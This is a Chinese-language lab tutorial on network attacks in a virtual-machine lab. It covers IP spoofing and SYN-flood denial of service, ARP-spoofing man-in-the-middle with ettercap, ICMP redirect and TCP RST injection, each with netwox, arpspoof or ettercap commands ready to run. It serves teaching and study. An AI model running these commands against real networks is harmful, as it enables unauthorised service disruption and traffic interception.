目录
-
- 1.IP源地址欺骗攻击(dos攻击)
-
-
- 原理
- 实验环境
- 步骤
- 1.2 dos攻击
-
- 2.ARP欺骗中间人攻击
-
-
- 原理
- 实验环境
- 步骤
-
- 3.ICMP重定向攻击和防御
-
-
- 原理
- 实验环境
- 步骤
-
- 4.TCP协议RST攻击
-
-
- 原理
- 环境
- 步骤
-
- 5.SYN Flood攻击
-
-
- 原理
- 环境
- 步骤
-
1.IP源地址欺骗攻击(dos攻击)
原理
客户端(kali)基于tcp第一次握手,给服务器端(centos)发送了大量标记位为SYN的包。
服务器端收到来自客户端的syn包后,对源ip返回标记位为syn_ack的包,这是第二次握手。
由于源ip是伪造的,所以返回的syn_ack包发送不到正确的地方,更不要说得到回应了。所以服务器端一直是SYN-RCVD阶段。
实验环境
靶机:centos 7 192.168.0.120
攻击机:kali linux 2020 192.168.0.118
网络拓扑环境:攻击机和靶机处于同一内网。
步骤
攻击机 伪造ip,发送包
netwox 52 -E "0:1:2:3:4:5" -I "114.114.114.114" -e "00:0c:29:83:36:d7" -i "192.168.0.120"
Netwox 52
使用netwox 的52号模块进行IP源地址欺骗;
-E
伪造的mac地址;
-I
伪造的ip地址,这里将ip地址伪装成114.114.114.114;
-e
一些资料说是目标mac地址,但是随便输入一个mac地址也可以;
-i
目标ip地址。
靶机 开启服务,监听端口
开启apache服务,然后使用tcpdump监听80端口
systemctl start httpd
tcpdump -i ens33 tcp port 80 -n -nn
为了监听80端口,所以这里开启apache服务
ens33 是你要开启监听的网卡,可以用ip a(或ifconfig)查看
这里centos监听到是114.114.114.114在发送数据,而不是攻击机的ip。说明伪装源ip成功
因为靶机一直是syn-rcvd
端,占用线程,所以如果伪造ip发送大量的包。影响其他正常用户的访问,就可以造成dos攻击
1.2 dos攻击
攻击机
kali
通过netwox的76模块对IP为192.168.0.120的80端口进行syn泛洪攻击
netwox 76 -i 192.168.0.120 -p 80
使用ctrl+z
停止攻击
靶机
开启监听
tcpdump -i ens33 tcp port 80 -n -nn
2.ARP欺骗中间人攻击
原理
ARP协议在设计时认为局域网内部的所有用户都是可信的,当攻击者渗透进入内网后,通过向局域网内节点缓存中注入伪造的IP/MAC映射关系,从而进行欺骗,成为局域网内的中间人节点,即可以监听并进一步篡改数据包。
简单来说,a广播ARP请求,询问IP地址为192.168.0.122的主机b的MAC地址。c收到广播帧,发出ARP应答,告诉a自己是192.168.0.122,MAC地址是cc:cc:cc:cc:cc:cc。(之后,a发给b的所有流量都会发给c)
再通俗点讲,就是a想与b通信,a就在通讯录(arp缓存表)里找b的联系方式。但是c已经提前把通信录改了,将b的联系方式换成自己的。所以a发给b的消息其实都是发给c。
一般有两种攻击方式:
一种是断网攻击。c只欺骗ab中的某一方,一般是ab另某一方是网关的情况下。比如a是网关,c欺骗了b。b以为是在和网关a在通信,实际上b是在与c通信,于是b联系不上网关,导致断网。
因为只欺骗其中一方,所以也叫单向欺骗。
arpspoof -i wlo1 -t 192.168.0.120 192.168.0.122
攻击机欺骗192.168.0.120这台主机,说我是192.168.0.122
第二种攻击方式是arp嗅探。c把ab双方都欺骗了,ab之间的通信都经过c,于是ab的通信内容被c窃取了
实验环境
靶机:centos 192.168.0.120
靶机:ubuntu 192.168.0.122
攻击机:kali 192.168.0.118
网络拓扑环境:攻击机和靶机处于同一内网。
步骤
首先,靶机查看arp缓存表,这里以centos为例
Arp -a
发现
ubuntu 192.168.0.122 的mac地址是00:0c:29:c2:35:04
kali 192.168.0.118 的mac地址是 00:0c:29:4d:43:00
然后,kali上使用ettercap进行中间人欺骗
ettercap -i eth0 -Tq -M arp:remote /192.168.0.120// /192.168.0.122//
192.168.0.120 、192.168.0.122是要欺骗的两个ip
此时,centos上再查看arp缓存表,发现,kali与ubuntu的mac地址一样了
当然,在ubuntu上面,发现kali与centos的mac地址一样
两个靶机都已经把kali当作了对方
此时kali另开一个终端,开启ip转发功能, 将0改为1
echo 1 > /proc/sys/net/ipv4/ip_forward
Kali 监听本地eth0网卡
ettercap -Tq -i eth0
当centos与ubuntu传输信息的时候,kali就能监听到信息
可供参考的资料
https://www.freebuf.com/articles/network/207238.html
3.ICMP重定向攻击和防御
原理
ICMP路由重定向攻击(ICMPRedirectAttack)是指攻击者伪装成路由器发送虚假的ICMP路由路径控制报文,使得受害主机选择攻击者指定的路由路径,从而进行嗅探或假冒攻击的一种技术。
实验环境
靶机:centos 192.168.0.120
攻击机:kali 192.168.0.118
步骤
查看centos中的路由表:
route –C -n
可以看到正常网关地址是102.168.0.1
linux系统中,默认不接受ICMP重定向报文。所以应该将0设置为1,就可进行ICMP重定向攻击。
echo 1 > /proc/sys/net/ipv4/conf/all/accept_redirects
echo 1 > /proc/sys/net/ipv4/conf/ens33/accept_redirects
echo 1 > /proc/sys/net/ipv4/conf/default/accept_redirects
这里要注意网卡是eth0还是ens33
使用netwox中86号模块发起ICMP路由重定向攻击
netwox 86 -g 192.168.0.118 -i 192.168.0.1
-g伪造路由ip(kali ip)
-i原路由ip
然后用centos去 ping一下百度
可以看到已经重定向了
对照一下这是正常情况下ping百度的场景
4.TCP协议RST攻击
原理
TCPRST攻击中,攻击主机kali可以通过嗅探方式监视通信双方win7和centos7之间的TCP连接,在获得源、目标IP地址及端口,以及序列号之后,就可以结合IP源地址欺骗技术伪装成通信一方,发送TCP重置报文给通信另一方,在确保端口号一致及序列号落入TCP窗口之内的情况下,即可直接关闭这个TCP连接,造成通信双方正常网络通信的中断,达到拒绝服务的效果。
环境
靶机:ubuntu 192.168.0.122
靶机:centos 192.168.0.120
攻击机:kali 192.168.0.118
步骤
ubuntu 使用nc开启一个端口监听(这里监听12345端口)
nc -lp 12345
Centos 使用telnet远程连接ubuntu的12345端口
telnet 192.168.0.122 12345
然后输入12,123(随便输入什么内容都行)
发现ubuntu这里也同步监听输出了12,123。说明tcp连接成功
然后Kali启用netwox 78模块进行tcp rst攻击
netwox 78 -i 192.168.0.120
此时centos再发送一个数据(这里是1)过去,两者就断开了连接
(这里kali伪装成centos 192.168.0.120 给 ubuntu 192.168.0.122发送了一个rst包,然后ubuntu认为centos要终止连接,便断开连接。)
5.SYN Flood攻击
原理
TCPSYNFlood,又称SYN洪泛攻击,是目前最为有效和流行的一种拒绝服务攻击形式。它利用TCP三次握手协议的缺陷,向目标主机发送大量的伪造源地址的SYN连接请求,消耗目标主机的连接队列资源,从而不能够为正常用户提供服务。
环境
靶机:centos 192.168.0.120
攻击机:kali 192.168.0.118
步骤
Kali向centos 的22端口发起syn flood攻击
首先,centos7中查看当前22端口连接信息
Netstat -an|grep 22
然后kali对centos的22端口发起syn flood攻击
netwox 76 -i 192.168.0.120 -p 22
此时Centos7查看22端口的tcp流量,发现有大量SYN_RECV
状态的包